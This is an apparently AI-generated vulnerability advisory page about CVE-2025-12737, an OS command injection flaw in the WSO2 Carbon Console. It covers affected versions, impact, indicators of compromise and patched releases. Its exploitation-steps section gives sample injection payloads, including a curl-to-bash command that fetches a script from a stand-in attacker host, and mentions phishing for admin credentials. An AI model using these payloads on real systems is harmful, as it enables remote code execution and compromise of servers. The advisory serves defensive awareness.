Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2025-12737
WSO2 API Manager vulnerability analysis and mitigation

Overview

CVE-2025-12737 is an OS Command Injection vulnerability (CWE-78) in the WSO2 Carbon Console that allows authenticated administrators to execute arbitrary code remotely. The flaw stems from inadequate validation of user-supplied input within specific administrative operations of the Carbon Console. It affects a broad range of WSO2 products including API Manager (3.1.0–4.6.0), Identity Server (5.10.0–7.2.0), API Control Plane (4.5.0–4.6.0), Traffic Manager (4.5.0–4.6.0), Universal Gateway (4.5.0–4.6.0), Open Banking AM/IAM (2.0.0), and Identity Server as Key Manager (5.10.0). The vulnerability was published on September 3, 2026, and carries a CVSS v3.1 base score of 8.4 (High) (GitHub Advisory, WSO2 Advisory).

Technical details

The root cause is improper neutralization of special elements used in OS commands (CWE-78) within the WSO2 Carbon Console's administrative interface. When an administrator performs specific administrative operations, user-supplied input is passed to underlying OS command execution without adequate sanitization, enabling injection of arbitrary shell commands. Exploitation requires adjacent network access and high privileges (administrative access to the Carbon Console), but no user interaction is needed, and the scope change indicates the impact extends beyond the vulnerable component itself. No public proof-of-concept code has been identified at this time (GitHub Advisory, WSO2 Advisory).

Impact

Successful exploitation leads to complete compromise of the affected system, with high impact to confidentiality, integrity, and availability. An attacker with administrative access to the Carbon Console can execute arbitrary OS commands in the context of the WSO2 server process, potentially enabling data exfiltration, persistent backdoor installation, lateral movement within the network, and full service disruption. Given the breadth of affected products — spanning API management, identity, and open banking platforms — the potential blast radius is significant for organizations running WSO2 middleware in enterprise or financial services environments (GitHub Advisory, WSO2 Advisory).

Exploitability

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept at this time. The EPSS score is approximately 0.22% (13th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for administrative privileges and adjacent network access, reducing the likelihood of opportunistic mass exploitation (GitHub Advisory, WSO2 Advisory).

Exploitation steps

  1. Reconnaissance: Identify WSO2 product deployments (API Manager, Identity Server, etc.) accessible from an adjacent network segment, targeting versions within the affected ranges. Tools such as Shodan or internal network scanning can help locate Carbon Console endpoints (typically on port 9443).
  2. Obtain administrative credentials: Acquire valid Carbon Console administrator credentials through phishing, credential stuffing, insider access, or reuse of default credentials.
  3. Access the Carbon Console: Log in to the Carbon Console web interface (e.g., https://<host>:9443/carbon/) using the obtained credentials.
  4. Identify vulnerable administrative operation: Navigate to the specific administrative operation(s) within the Carbon Console that accept user-supplied input passed to OS-level commands (exact operation not publicly disclosed).
  5. Inject OS command payload: Supply a crafted input containing OS command injection characters (e.g., ;, &&, |, backticks) followed by the desired command (e.g., ; id, ; curl http://attacker.com/shell.sh | bash) into the vulnerable input field.
  6. Achieve remote code execution: Submit the crafted input; the server executes the injected OS command in the context of the WSO2 process, enabling reverse shell establishment, data exfiltration, or further lateral movement (GitHub Advisory, WSO2 Advisory).

Indicators of compromise

  • Network: Unexpected outbound connections from the WSO2 server process to external or unusual internal IP addresses; connections to known attacker infrastructure originating from the WSO2 host on non-standard ports.
  • Logs: WSO2 Carbon Console access logs showing administrative operations with anomalous or encoded input values; server-side error logs (e.g., wso2carbon.log) containing OS command execution errors or unexpected shell output.
  • Process: Unusual child processes spawned by the WSO2 Java process (e.g., /bin/sh, /bin/bash, cmd.exe, curl, wget, python, nc) visible in process trees.
  • File System: New or modified files in the WSO2 installation directory or system directories (e.g., web shells, cron jobs, new user accounts, SSH authorized_keys modifications) created by the WSO2 service account.
  • Authentication: Multiple failed or successful Carbon Console login attempts from unusual source IPs, particularly from adjacent network segments not normally associated with administrative access.

Mitigation and workarounds

WSO2 has released patched versions addressing this vulnerability. Organizations should upgrade to the following fixed versions or later: API Manager ≥3.1.0.349, ≥3.2.0.453, ≥3.2.1.73, ≥4.0.0.373, ≥4.1.0.236, ≥4.2.0.176, ≥4.3.0.88, ≥4.4.0.52, ≥4.5.0.35, ≥4.6.0.1; Identity Server ≥5.10.0.378, ≥5.11.0.425, ≥6.0.0.252, ≥6.1.0.253, ≥7.0.0.130, ≥7.1.0.38, ≥7.2.0.1; API Control Plane ≥4.5.0.36, ≥4.6.0.1; Traffic Manager and Universal Gateway ≥4.5.0.34, ≥4.6.0.1; Open Banking AM ≥2.0.0.398; Open Banking IAM ≥2.0.0.418; Identity Server as Key Manager ≥5.10.0.369. As interim workarounds, restrict Carbon Console access to trusted administrators only, implement network segmentation to limit adjacent network access to the console, and monitor administrative operations for anomalous activity (WSO2 Advisory, GitHub Advisory).

Community reactions

Coverage of CVE-2025-12737 has been limited to automated vulnerability tracking platforms and aggregators such as VulDB, CVEFeed, and threat intelligence feeds. No notable independent researcher commentary, vendor blog posts, or significant social media discussion beyond automated CVE bot posts (e.g., on Bluesky) has been identified at this time.

Additional resources


SourceThis report was generated using AI

Related WSO2 API Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-5430CRITICAL10
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesAug 06, 2026
CVE-2026-1728CRITICAL9.8
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesAug 06, 2026
CVE-2025-12737HIGH8.4
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesSep 03, 2026
CVE-2026-3416HIGH7.5
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesSep 03, 2026
CVE-2026-0637MEDIUM4.4
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:identity_server
NoYesAug 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management